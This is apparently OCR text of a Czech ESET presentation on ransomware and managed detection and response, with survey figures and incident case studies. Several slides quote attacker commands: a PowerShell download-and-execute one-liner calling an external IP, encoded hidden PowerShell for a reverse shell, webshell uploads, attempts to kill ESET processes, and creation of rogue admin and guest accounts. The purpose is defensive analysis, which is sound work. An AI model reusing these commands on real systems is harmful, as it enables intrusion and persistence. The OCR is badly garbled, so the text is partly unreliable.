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Moderni vydéracske utoky
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Interaktivni utoky | aktivni fizeni pruniku

Po ziskani pocatecniho pristupu utocnici nejprve mapuji
prostredi obéti a hledaji moznosti dalSiho postupu

* Rozdilné bezpecnostni produkty
* Rozdilné sitové prvky

* Rozdilna sitova struktura

* Rozdilné operacni systémy

* Rozdilné resené zalohovani

*  Rozdilné zranitelnosti

* Rozdilné zabezpeceni dilezitych uctd



Vydirané spolecnosti

Manualni utoky se nevyhybaji ani
mensim spole¢nostem v Cesku.
Nekteré obéeti maji pouze vyssi
desitky zaméstnancd.

Presto Celily utoku, kradezi dat a
naslednému vydirani.
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Ransomware Monitoring

+y Sort
22 victims
Detection Date
*Claimed* Victim Ransomware Gang Victim Country Industrial Sector
(UTC+0)
Building Materials,
@ LockBit Czech Republic Hardware, Garden Supply,
And Mobile Home Dealers
@ DarkPower Czech Republic Transportation Equipment
@ PLAY Czech Republic Railroad Transportation
® PLAY Czech Republic 0il, Gas
(O] PLAY Czech Republic 0il, Gas
Administration Of
@ LockBit Czech Republic Environmental Quality
‘And Housing Programs
@ LockBit Czech Republic Defense industry
@ c com LockBit Unknown Unknown
® Hive Czech Republic Real Estate
@ C: rman BlackCat (ALPHV) USA Legal Services
® Everest Czech Republic Metal Industries
Machinery, Computer
® v Czech Republic Equipment
Holding And Other
® nts BlackByte Czech Republic T T
Security And Commodity
(O] LockBit Czech Republic Brokers, Dealers,
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Jak se ucinne

branit?



Korektni nastaveni a procesy

Potreba implementace a osvojeni

zakladnich bezpecnostnich opatreni,

jako jsou omezeni sluzeb dostupnych z
internetu, segmentace site, patchovani
aplikaci/OS, vyuziti servisnich ucta,

robustni zalohovani, skoleni uzivatelu a

v neposledni rade take |
provozni a bezpecnostni monitoring 3




Poucte se z chyb druhych
Stripky z vysetrovani

Brute-force Zranitelnosti Aktualizace
Meésic trvajici utok bez Verejné dostupny server se Nasazené 7 let staré verze
reakce spravcl | 3 kritickymi zranitelnostmi | anti-malware systému
Y o
v yr
Sebeobrana Zalohy Monitoring
Bezpecnostni systémy bez Veskeré zalohy na NASu 5 dni bez reakce na nefunkéni
ochrany proti naruseni dostupném z internetu anti-malware ochranu



Nutnost odhaleni novych hrozeb

Primarné utoku zneuzivajicich
legitimni systémové nastroje, skripty
a vestaveneé funkce operacnich
systému pri manualnich Utocich




Vyuzitim XDR systému

ESET XDR umoznuje odhaleni manualnich atokd, jejich
investigaci a eliminaci na zakladé detekce potencialné
rizikovych anomalii

* V ramci aplikaci 3. stran
* Pfi zneuzivani funkci operacnich systémd
* V chovani uzivatell

* Vsitovém provozu




Odvracena strana
Samotna technologie XDR nestaci
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Vyssi porizovaci Relativne slozita Velké mnozstvi Casové naroéné Nutnost

WELELLY technologie upozornéni na obsluhu know-how
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Zajisteni kybernetické bezpecnosti
ve firmach v USA a Kanadeé

Celkem (n = 700)

25-99 PC (n = 257)

100-499 PC (n = 260)

500-1000 PC (n = 183)

Soucast krit. infrastruktury (n = 416)
Mimo krit. infrastrukturu (n = 284)

Vice nez 1 incident (n = 133)

Bez incidentu (n = 342)

B Soudést §irsi role IT specialisty M Specialista na kyberbezpeénost ™ Interni bezpe€nostni tym SOC 1 Caste&né externi zajisténi PIné externi zajisténi
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Externi zajisteni
kyberbezpecnostnich sluzeb

Celkem (n=118)

25-99 PC(n = 43)

100-499 PC (n = 45)

500-1000 PC (n = 30)

Soucast krit. infrastruktury (n = 60)
Mimo krit. infrastrukturu (n = 58)

Vice nez 1 incident (n = 20)

Bez incidentu (n = 63)

B Dodavatel MDR B Kyberpojistitel s MDR M Poskytovatel MSP/MSSP I MSP/MSSP poskytujici MDR
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Zkusenost s incidentem za poslednich 12 mésicu

Celosvétoveé

Mame Pokud vim, nemame
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Zkusenost s incidentem za poslednich 12 mésicu

Celosvétoveé

M ETnE Pokud vim, nemame

Celosvétoveé

Nejsem si jisty/a Jsem si jisty/a



MEDIAN | pruzkum ceského trhu



RozsSiteni freSeni EDR/XDR
podle velikosti firmy

501 avice PC(n=61)
201-500 PC (n = 58)
101-200 PC (n = 117)
51-100 PC (n = 146)
26-50 PC (n =211)

5-25 PC (n = 234)

Celkem (n=827)

B Ano B Ne ™ Nevim



ResSeni EDR/XDR ma implementovana vice nez ¢tvrtina firem (28 %).

NejvyssSi zastoupeni maji tato reseni u nejvétsich organizaci (41 %),
mezi malymi firmami (5—-25 PC) jde ani ne o kazdou patou (18 %).
Rovnez jsou tato reseni castéji implementovano u firem vlastnénych
zahranicnim kapitalem (36 %) nez u ceskych spolecnosti (26 %).



Prevazujici zpusob spravy EDR/XDR
interni tym vs. externi dohled

M Interni tym M Externi dohled



Vétsi cast spolecnosti, které maji EDR/XDR reseni implementovano, ho
spravuje svymi zdroji (56 %). Firmy vyuzivajici ESET castéji (55 %) voli
spravu s dohledem (ESET MDR) nez ty, které ESET nepouzivaji (38 %).

Vliv na formu spravy EDR/XDR ma i vlastnictvi spolecnosti, zahranicni
firmy se castéji uchyluji ke sprave svymi vlastnimi zdroji (67 %).



Planované zavedeni EDR/XDR
v pristich trech letech



Planovana sprava EDR/XDR
vlastnimi ¢i externimi zdroji

67 %

subjekt planuje spravu EDR/XDR
externim dohledem

M Externim dohledem M Vliastnimi zdroji



Pruzkum EU trhu | plany & preference

91 % 68 %

Vyuziva nebo planuje vyuzivat Preferuje sluzby vyrobce
sluzby outsourcingu bezpecnostnich produktl
Pozaduje nepretrzity Uprednostriuje dohled s

monitoring 24/7/365 reakci na hrozby



ESET MDR | sluzba kybernetického dohledu

Outsourcing chybéjicich bezpecnostnich specialistti

a R N e o

g @ O [

Nejvyspélejsi Predni odbornici Monitoring 24/7 Ochrana i pred
bezpecnostni na kybernetické s dobou reakce pokrocCilymi
technologie utoky do 1 minuty hrozbami

N\ P AN 7 %




ESET MDR | rozdéleni odpovednosti

ESET prebira operativni bezpecnostni dohled a reakci v rozsahu sluzby, zakaznik si zachovava
kontrolu nad infrastrukturou a odpovédnost za rizeni kybernetické bezpecnosti

Oblast

ESET MDR

Zakaznik

Bezpecnostni monitoring

Nepretrzity dohled a vyhodnocovani hrozeb

Zajisténi pokryti monitorované infrastruktury

Vysetiovani incidentl

Analyza incident( a identifikace utocnych aktivit

Poskytovani potrebné soucinnosti

Reakce na utoky

Blokovani hrozeb a dalsi autorizované zasahy

Rozhodovani o opatrfenich mimo sjednané pravomoci

Napravna opatreni

Doporuceni a odborna soucinnost podle rozsahu sluzby

Aktualizace, zmény konfiguraci a obnova systému

Rizeni bezpeénosti

Poskytovani informaci a bezpecnostnich doporuceni

Rizeni rizik a regulatornich povinnosti




Architekt
E S E I M D R THREAT Lo ZpracoYa\{atn |nforTaIC| 0 Utocich z celgh? S\{eta ’
.\-g Vyhleddavani pokrocilého malwaru a unikatnich kampani
INTELLIGENCE '\’ Detailni analyza pokrocilych hrozeb, sledovani APT a eCrime skupin

(esE}) INSPECT

SIEM | SOAR | SERVICEDESK | ESET ML/AI

Automatizované zpracovani a prvotni

. . vyhodnoceni bezpe¢nostnich udalosti
Automatické zpracovani

dat & dulezité aktualizace

Nepretrzity monitoring a vyhodnocovani

potencialnich hrozeb s vyuZzitim technologii

ESET ML/Al a SIEM \l/
24/7 SOC provadeéjici L . S e,
monitoring a analyzu Upozornéni zakaznikd pomoci notifikaci

Zakaznik

/)

Rychla reakce naincidenty prostrednictvim
automatizace SOAR a fizeni pripad( v Jira

\%

Informovani o stavech incidentl zakaznika

E-mailové notifikace
GUI konzole s detaily
Tydenni/mésicni prehledy

Rychla reakce a
neutralizace hrozby




ESET MDR | unikatni synergie

7 v O

Sdilené know-how ESET SOCu, viruslabu, vyzkumnik, pen-testert a vyvojar

ESET SECURITY OPERATIONS CENTER

/ 24/7 — zkuSeni specialisté pro detekci, analyzu a reakci

L1 — Security Operations Operators

SOC1 a SOC2 Operators L2 — Security Incident Analysts

L3 — Incident Response Experts

Malware Analysts Detection Engineers

Researchers

J

SIEM Engineers Systems Engineers



Z deniku kybernetickych obrancu



Management -_l
Agent ==



==
l I %ProgramData’\

]

-l

zneuzity Management Agent Q

%ProgramFiles’%\ \MeshAgent. exe
C:\> net user /add

C:\> net localgroup administrators
C:\> net user /add

C:\> net localgroup administrators
C:\> net user /add

C:\> net localgroup administrators

/add

/add

/add



zneuzity Management Agent Q

Utoénik prostiednictvim admin Gétu zacal vykonavat prikazy

pres reverzni shell z (AV, XDR)

Stahnuti EXE (XDR)

Automaticky zablokovano jako (AV)

Zranitelnost ve Veeam Backup & Replication umoznuijici kradez prihlasovacich
udaju z konfiguracni databaze e ———
A Threat found
A threat ( MSIL/Exploit.CVE-2023-27532.A ) was
found in a file that #Mesh Agenttried to access.

Learn more about this message



zneuzity Management Agent Q

Incident actions

& Isolate computers

& End computer isolation

MeshAgent a dalsi spustitelné soubory byly zablokovany

3@3 Kill processes

Kompromitované zarizeni bylo izolovano
® Block executable

Vytvoren incident s popisem a odeslan zakaznikovi Unblock executable

IP adresa pridana na globalni ESET blacklist —
INCIDENT ACTIONS W7

Klientovi poskytnuta zakladni dodatecna doporuceni

UzZivatelé ke smazani:
sys, system, systeml

IP adresa k zablokovani na perimetrovych firewallech:
91[.]92.246.183



T

SQL



Za oponou kyberutoku | kompromitace MS SQL @=

* Opakujici se detekce na cilovém portu 1433 (AV)
. souvisejicich s neobvyklymi prikazy SQL Serveru (XDR)

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgrambData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgrambData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"



Za oponou kyberutoku | kompromitace MS SQL @=

Rozbor prikazi:
VWytvoreni PowerShell skriptu ,,updt.ps1“ pro ztiZeni automatizované detekce AV
Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd .exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object System.Net.WebClient>C:?\ProgramData\\updt.psl &
echo $cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.psil

Skript ,,updt.ps1“ obsahujici pokus o zastrené staZeni payloadu malwaru

Obejiti ochranného mechanismu MS pro zabezpecené spousténi skriptt

Administrator: C:\\Windows\system32\cmd.exe

powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl

Zastreni ndvaznosti procesu

Administrator: C:\\Windows\system32\cmd.exe

WMIC process call create "C:?\ProgramData\\tzt.bat"



kompromitace MS SQL @=

Napadeny server izolovan

Stazené soubory analyzovany

Vytvoren incident s popisem a odeslan zakaznikovi
Dalsi investigace incidentu

Zabranéno ransomwarovému utoku Mallox

Klientovi poskytnuta zakladni dodatecna doporuceni

Zména hesel vSech uzivatelu MS SQL Serveru
Uzavrit port 1433 pro pristup z internetu

Incident actions

¢ Isolate computers

End computer isolation

Kill processes

Block executable

Unblock executable

INCIDENT ACTIONS =




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgrambData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

E SentinelOne

/C echo $cl = New-Object System.Net.WebClient "\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl
>%TEMP%\updt.ps1 & echo = New-Object System.Net.WebClient >

$cl.DownloadFile ("hXXp://80[.]166.75]]11].40/XXXXX C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl & echo

XXXX.exe", "%TEMP%\XXXX. exe") >> %TEMP%\Updt . pSl $C1 . DownloadFile(\"hxxp . //8@. 66. 75[ . ]36/aRX. exe\" )

& powershell -ExecutionPolicy Bypass \"C:\Users\MSSQLS~1\AppData\Local\TemP\tzt.gxe\") >>

%TEMP%\updt.ps1l & WMIC process call create %STEMP%\\updt.psl & powershell -ExecutionPolicy

"%T EMP%\XOOOOXXX . exe™ Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl
& WMIC process call create
\"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgrambData\\updt.psl & echo

$cl.DownloadFile(l hxxp://80.66.75[.]47 Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

E SentinelOne

—hXX ://80[.166.75111].40 e e
S e hxxp://80.66.75[.]36




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl. DownloadFlle("hxxp //80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C:?\P 1 & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create 'C:?\ProgrambData\\tzt.bat"

E SentinelOne

WMIC process call create

. WMIC process call create




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>
C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

S SentinelOne

/C echo $cl /C echo $cl




atribuce RaaS Mallox

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile("hxxp://80.66.75[.]47/Dxccaejs.exe", "C:?\ProgramData\\tzt.bat") >>

C: :\Programbata\\updt.psl 2 powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create "C:?\ProgramData\\tzt.bat"

E SentinelOne

HTEMP%\updt.psl |

BHTEMP%\\updt.psl




atribuce RaaS Mallox

MALLOX

Tvarci ransomwaru

Aktivni od roku 2021

Také znami pod nazvy TargetCompany nebo Fargo
Ruskojazycna skupina

Silné Sifrovaci algoritmy

Zakaz utocCeni na nemochice a vzdélavaci instituce

rrrrrrrrrrrrrrrrrrrrrrrrrr

Vybiraji si pouze ruskojazyCné partnery e

Nabizi az 80% podil z vykupného partnerdm o -

companies will be published here

&) Joined August 2022

sssssss

We communicate only in English



Spionaz ( @\



Za oponou kyberutoku | spionaz

. souvisejicich s pocatecnim pristupem na IIS server (XDR)

EEI&F PROTECT & INSPECT

Ungrouped hd A O i ® 0 0 ©o

DETECTIONS (7)

@D secuiity vuinerability exploitation attempt
@D scc.ity vuinerebility exploitation attempt

& Rule Generic IS backdoor activity - child process [F0403)

D> 0 & L as

]

A Rule System Owner / User Discovery [F1109]

A Rule System owner/user discovery via PowerShell [C1105a)

@D 5o vuinersbiiey expiotaton stempt

A Rule System network configuration discovery via PowerShell [C1103a)

£ Incidentgraph 1 Timeli A Detectior C3 Computers [J Executable

SEVERITY

4

Back  Security Vulnerability Exploitation Attempts and Suspicious Processes on

COMPUTER

PRIORITY

17:83:38.000

16:59:26.000

Jlocal

PROCESS NAME (ID)

> system (4)

D system (4)
P'emd.exe (9656)
D*whoami.exe (9960)
P*whoami.exe (9960)
P'node.exe (2264)

D'rnmnﬁg exe (8760)

4268AF3937279110A26EE486F
B8BEE67F383E989

98A9AC93FE31F38F47F38DB78
BF12FABC6214F9A

pomoci YARA pravidel pro odhalovani APT hrozeb (AV)

COMMAND LINE

None
None
powersh 1 whoami window r t
None
None
nde.
1
= c:
\Windows\SysWOW64\colorcp
1.exe
@3i.Blocked £=

\Windows\SysWOW64\cmd.exe
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Batch dropper
webshell script

e e o e o s ¢+ G o G ¢ G ¢ G ¢ G ¢ G o @ ¢ m s @ o

DotNetNuke
webshell

PowerShell
session

A4
SparrowDoor triden
loader
Legitimate SparrowDoor
executable loader

PowerHub ShadowPad

cEm e mm s mm s s Em = =D



DotNetNuke
webshell

B

Initial webshell Batch dropper
script
PowerShell
session
A4
SparrowDoor triden . '-.
loader
Legitimate SparrowDoor Encrypted payload
executable loader

-
@

PowerHub ShadowPad



Za oponou kyberutoku | spionaz r@w

e Zablokovani hrozby v prvotni fazi utoku
* Analyza celéeho priuniku véetné vsech pouzitych komponent a TTP
* Atribuce potvrzuje Cinskou APT skupinu FamousSparrow (sledujeme od roku 2019)

* Objeveni a analyza dosud neodhaleného backdooru s mnozstvim plugin(

*  Spousténi prikazl * Zobrazovani a ukoncovani proces(

*  Provadéni operaci v souborovém systému * Sledovani zmén v souborovém systému
* Zaznamenavani stiskd kldves * Pofizovani snimkud obrazovky

*  Prendseni souborl *  Proxy komunikace

VVVVV

* Potvrzena odlisnost do té doby spojovanych APT skupin FamousSparrow a GhostEmperor
* Kromé USA automatizované blokujeme dalsi ttoky v Mexiku a Hondurasu

* Na zakladé naseho vyzkumu detekuji dalSi spolecnosti Utoky FamousSparrow po celem svete
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TIPS & ADVICE ~ BUSINESS SECURITY ~ ESET RESEARCH -  [[EISSS[TITY FEATURED-~ TOPICS~ ABOUTUS~

ESET Research

You will always remember this as the Table of Contents
day you finally caught FamousSparrow

* FamousSparrow and Salt Typhoon

Technical Analysis
ESET researchers uncover the toolset used by the FamousSparrow APT group, including two ;
. . Network infrastructure
undocumented versions of the group's signature backdoor, SparrowDoor

Conclusion

ﬁ Alexandre Coté Cyr
loCs

26 Mar 2025 « 31 min. read
MITRE ATT&CK techniques







File Actions Edit View Help

EELINNING IIS5 ATTALK

GEler SERVER SECURITY

08 Monitoring
Log files
Scan
Update
Setup

Tools

@ b & QO O

Help and support

Progress. Protected

1\

Type here to search

Log files

Sun

Filtering

Boot Time:
Machine Domain:
Host Name:
User Name:

0S8 Varcinn:

0. Object

4/19/2024 7:45 AM
DEMO

WEB-LOSA-01
DEMO\administrator

Windauwe Sarvar 2822 v21H? (203UR_A4AR)N

Detection Action  User Information  Hash

= 7:49 AM
Hi ] e ~ 0 Hds 4/19/2024 B



File Actions Edit View Help

EELINNING IIS5 ATTALKE
HEESHELL PLACEHENT

-DETELTED

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is
Uploading WebMembers2.aspx 550 Access is
Uploading WebMembers3.aspx 550 Access is
Uploading WebMemberss4.aspx 550 Access is
Uploading WebMembers5.aspx 550 Access is

webshells blocked ——
Press any key to continue.

-LUSTOHIZE

—— Uploading WebShell WebMembers.aspx to victim 10.0.

denied.
denied.
denied.
denied.

denied.

1=

@27 ———

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO
b Host Name: WEB-LOSA-01
— User Name: DEMO\administrator
08 Varcinn: Windnue Sarvar 2822 u21H? (20348 643N

GEleT SERVER SECURITY

roem |
oo

Monitoring Log files
Log files
Scan S.. 0. Object Detection Action  User Information  Hash
Update
Setup

Tools

@&  2° @

Help and support

Progress. Protected fhecing

7:50 AM
~ 0 Hds 4/19/2024 B

o
3
| o)




File Actions Edit View Help

EELINNING IIS5 ATTALKE

HEESHELL PLACEHENT
-DETELTED-

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is denied.
Uploading WebMembers2.aspx 550 Access is denied.
Uploading WebMembers3.aspx 550 Access is denied.
Uploading WebMemberss4.aspx 550 Access is denied.
Uploading WebMembers5.aspx 550 Access is denied.

webshells blocked ——
Press any key to continue.

-LUSTORIZED-

—— Uploading WebShell WebMembers.aspx to victim 10.0.0.27
Uploaded: ./ReqFiles/webShells/JamesCustom.aspx to WebMembers.aspx

Sending commands to WebShell for execution
send command> ping rGZ3H2NdHil79WiMRjHbrjC4ZLSAVS.burpcollaborator.net -n 1

EGEer) SERVER SECURITY

[J8 Monitoring
Log files
Scan
Update
Setup

Tools

@ e Q 2 @

Help and support

send command> powershell -nop -w hidden -enc y

Starting Powershell Reverse Shell and wating for connection
listening on [any] 80 .

connect to [103.79.143.101] from WEB-LOSA-01.demo.lan [10.0.0.27] 49823
Press any key to continue.

INITIAL DISCOVEERY
-ACCOUNTS-

send command> whoami

Progress. Protected

pel Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

NS Varcinn: Windnuwe Sarvar 2822 w21H? (20834R_GAR)

d® - O X

Log files

Time S.. 0. Object Detection Action  User Information Hash

Filtering

= 7:50 AM
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File Actions Edit View Help
Press any key to continue.

INITIAL DISCOYERY
UNnTs-

[
-ALLCO

send command> whoami
nt authority\system
send command> net user

=

User accounts for \\

Administrator DefaultAccount Guest
LocalAdmin WDAGUtilityAccount
The command completed with one or more errors.

send command> quser
USERNAME SESSIONNAME ID STATE IDLE TIME
administrator console 1 Active none
send command> net group "domain admins" /domain

LOGON TIME
4/19/2024 7:46 AM

The request will be processed at a domain controller for domain demo.lan.

Group name Domain Admins

Comment Designated administrators of the domain
Members

Administrator akadmin CGAdmin
DDAdmin EMAdmin jbadmin
JJAdmin JLAdmin JRAdmin
MMAdmin MSAdmin RRAdmin
TDAdmin

The command completed successfully.

Press any key to continue.

INITIAL DISCOVEEY

-DOHRIN-

send command> ipconfig /all

GEer) SERVER SECURITY

[J8 Monitoring
Log files
Scan
Update
Setup

Tools

@ e Q 2 @

Help and support

Progress. Protected

AR Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

NS Varcinn: Windnwe Sarvar 2822 w21H? (2834R_GAR)

» - 0O X

Log files

Time S.. 0. Object Detection Action r Information  Hash

Filtering
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4/19/2024 %

i}
b |
(0}

A 0@ Tds



File Actions Edit View Help

Boot Time: 4/19/2024 7:45 AM
I“ITIHL [IIEEDIIE 'l' Machine Domain: DEMO
) Host Name: WEB-LOSA-01
Ny User Name: DEMO\administrator
~-DOHALIN- |
NS Varcinn: Windnwe Sarvar 2822 w21H? (2834R_GAR)

send command> ipconfig /all
Windows IP Configuration

Host Name

» - 0O X

GEer) SERVER SECURITY

. : WEB-LOSA-01 a 5
Primary Dns Sufhx : demo.lan 08 Monitoring LOg files
Node Type : Hybrid
IP Routing Enabled : No g Log files
WINS Proxy Enabled. : No
DNS Suffix Search List. : demo.lan

Q Scan Time S.. 0. Object Detection Action r Information  Hash
Ethernet adapter Etherneto:

Connection-specific DNS Suffix : demo.lan C} Update
Description Intel(R) 82574L Gigabit Network Connection
Physical Address. : 00-50-56-B1-98-FE €:3 Setu
DHCP Enabled. . . . : Yes B
Autoconfiguration Enabled : Yes
Link-local IPv6 Address fe80::80fe:e102:8137:d9ee%3(Preferred) B3 Tools

IPv4 Address.
Subnet Mask
Lease Obtained.
Lease Expires

10.0.0.27(Preferred)

: 255.255.255.0

Friday, April 19, 2024 7:45:51 AM

: Saturday, April 27, 2024 7:45:51 AM

Default Gateway 10.0.0.1
DHCP Server 10.0.0.200
DHCPv6 IAID . 100683862

DHCPv6 Client DUID.
DNS Servers
NetBIOS over TCDlD

: 00-01-00-01-2D-B2-D8-A0-00-50-56-B1-98-FE

10.0.0.200
Enabled

@ Help and support

send command> nslookup demo Ian
Server: SvrSandDC@1.demo.lan
Address: 10.0.0.200

Name: demo.lan
Address: 10.0.0.200

Press any key to continue.

Progress. Protected filteting

LEERTE NEH USEFR
HITEHPTS

send command> net user asp.net abc123 .add 7:51 AM

4/19/2024 %

i}
b |
(0}
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File Actions Edit View Help

DNS Servers p
NetBIOS over Tcpip.
send command> nslookup

Server: SvrSandDCO1.demo.lan

Address: 10.0.0.200

Name : demo.lan
Address: 10.0.0.200

Press any key to continue.

LEERTE NEH USEF
ATTEHPTS

send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user
send command> net user

Press any key to continue.

asp.net
asp.net
asp.net
asp.net
asp.net
asp.net
asp.net
asp.net
asp.net
asp.net
asp.net

asp.net

demo.lan

10.0.0.200

Enabled

abc123 .add
abc123 .add
abc123 .add
abc123 .add
abc123 .add
abc123%$

abc123 .add
abc123%$

abc123 /add
abc123 /add

abc123 /add

ILL ESET RTTEHPTS

send command> tasklist /svc /fi "IMAGENAME ne svchost.exe" | findstr /v "N/A"

GEer) SERVER SECURITY

[J8 Monitoring
g Log files
Cl Scan

3 Update
@ Setup

B3 Tools

@ Help and support

Progress. Protected

AR Type here to search

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

NS Varcinn: Windnwe Sarvar 2822 w21H? (2834R_GAR)

» - O X

Log files

Time S.. 0. Object Detection Action r Information  Hash

Filtering

7:52 AM
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File Actions Edit View Help

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

send command> net user asp.net

Press any key to continue.

abc123 .add
abc123%

abc123 /add
abc123 /add /Y

abc123 /add

EILL ESET RTITEHPIS

send command> tasklist /svc /fi

"IMAGENAME ne svchost.exe" | findstr /v "N/A"

Image Name PID Services
lsass.exe 688 KeyIso, Metlogon, SamSs
efwd.exe 1440 efwd
ekrn.exe 1504 ekrn, ekrnEpfw
spoolsv.exe 2528 Spooler
inetinfo.exe 2792 IISADMIN
EIConnector.exe 2820 EIConnectorSvc
vmtoolsd.exe 2880 VMTools
vm3dservice.exe 2924 VM3DService
ERAAgent.exe 2932 EraAgentSvc
VGAuthService.exe 3000 VGAuthService
dllhost.exe 3788 COMSysApp
msdtc.exe 4852 MSDTC

send command> taskkill /f /im .exe

send command> tasklist /svc | findstr.exe -exe

ekrn.exe
Press any key to continue.

1504

ekrn, ekrnEpfw

EEHOTE DEVILE
IDENTIFICATION

send command> NETSTAT -ano | findstr /c:"LISTENING" | findstr /v /e:"[

@ I & W o2 @&

EEler SERVER SECURITY

[8 Monitoring

Log files
Scan
Update
Setup
Tools

Help and support

Progress. Protected

Boot Time: 4/19/2824 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-81

User Name: DEMO\administrator

08 Varcinn: Windnwe Sarvar 20827 v21H? (76348 RARY

Log files

Time 0., Object Detection Action  User

Filtering

e}
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File Actions Edit View Help

LLUCIHI AP LTI LU

send command> NETSTAT -ano | findstr /c:"LISTENING" | findstr /v /c:"[:
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 2656
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 912
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
Tcp 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCcpP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
Tcp 0.0.0.0:49664 0.0.0.0:0 LISTENING 688
TCcpP 0.0.0.0:49665 0.0.0.0:0 LISTENING 556
Tcp 0.0.0.0:49666 0.0.0.0:0 LISTENING 1228
TCcP 0.0.0.0:49668 0.0.0.0:0 LISTENING 1656
Tcp 0.0.0.0:49674 0.0.0.0:0 LISTENING 688
TCcP 0.0.0.0:49683 0.0.0.0:0 LISTENING 2528
TCcp 0.0.0.0:49697 0.0.0.0:0 LISTENING 668
TCP 10.0.0.27:139 0.0.0.0:0 LISTENING 4
send command> nslookup web-HARV-01
Server: SvrSandDC@1.demo.lan
Address: 10.0.0.200
send command> nslookup web-HARV-02
Server: SvrSandDCO1.demo.lan
Address: 10.0.0.200
send command> nslookup web-HARV-03
Server: SvrSandDCO1.demo.lan
Address: 10.0.0.200
send command> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet®:
Connection-specific DNS Suffix . : demo.lan
Link-local IPv6 Address . . . . . : fe80::80fe:e102:8137:d%ee%3
IPv& Address. . & o ¢ 4 4 & e o o 10.0.0.27
Subnet: Mask: o o o0 E L G o 5255025502550

Default Gateway . . .

send

Ping request could not find host web-HARV-02. Please check the name and try again.

Si 6L Gl oL oL O 10.0.0.1
command> PING web-HARV-02

Press any key to continue.

ENAELE LUEST RND HAKE

send

AOAIN

command> net user asp.net abc123 /add

GEer) SERVER SECURITY

[J8 Monitoring

g Log files

@)

Scan
Update
Setup

Tools

e e Q

Help and support

Progress. Protected

Boot Time: 4/19/2024 7:45 AM

Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

08 Varcinn: Windeauwe Sarvar 2822 2TH? (2034864
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File Actions Edit View Help

ENAELE GUEST AND HAKE

send command> net
send command> net

send command> net

The command completed

o

send command> net

The command completed

o

send command> net
User name
Full Name
Comment
User's comment
Country/region code

ADRIN

user asp.net abc123 /add
user asp.net

user guest /active:yes
successfully.

localgroup administrators guest /add
successfully.

user guest
Guest

Built-in account for guest access to the computer/domain

000 (System Default)

GEer) SERVER SECURITY

[J8 Monitoring
g Log files
Cl Scan

3 Update

@ Setup

Boot Time:
Machine Domain:
Host Name:
User Name:

0SS Vareinn:

O.. Object

